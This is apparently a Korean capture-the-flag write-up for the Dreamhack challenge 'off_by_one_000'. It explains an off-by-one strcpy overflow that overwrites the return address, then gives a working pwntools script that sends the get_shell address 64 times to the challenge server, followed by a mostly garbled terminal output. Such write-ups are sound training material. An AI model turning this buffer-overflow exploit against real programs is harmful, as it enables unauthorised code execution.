## off\_by\_one\_000 문제 write-up

강승민

```
int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();
    printf("Name: %s", cp_name);
    return 0;
}
```

[그림 1]

[그림 1]의 cpy함수를 보면 길이가 256인 문자열을 복사하여 넣는 것을 알 수 있는데 이때 배열의 마지막은 null문자가 있어야 하지만 생략하고 복사하기 때문에 byte overflow가 발생한다.

그래서 테스트용으로 A\*256을 넣어보면

[그림 2]

[그림 2]에서 볼 수 있듯이 0x41414141로 eip가 설정된다. 0x41은 A이기 때문에 AAAA대신 shell 코드의 주소를 넣으면 될 것 같아서

0x080485db get\_shell

## [그림 3]

[그림 3]과 같이 shell의 주소를 찾으면 0x080485db이고 이를 64번 반복하면 256길이의 배열이기 때문에

## [그림 4]

[그림 4]와 같이 shell을 얻을 수 있다.

Pwntool로 작성하면

```
from pwn import *
host = "host2.dreamhack.games"
port = 18475
p = remote(host, port)
shell = 0x080485db
payload = p32(shell)*64 + b"\n"
p.send(payload)
p.interactive()
```

[그림 5]

[그림 5]와 같고

```
(ubuntu & LAPTOP-tmdalsBoB) - [/mnt/_/File/dreamhack/pwnable/off_by_one_000]

$ python3 exploit.py

[+] Opening connection to host2.dreamhack.games on port 13159: Done

[*] Switching to interactive mode

Name: Name: \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \\ \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \(\
```

[그림 6]

실행하여 [그림 6]과 같이 flag를 얻을 수 있다.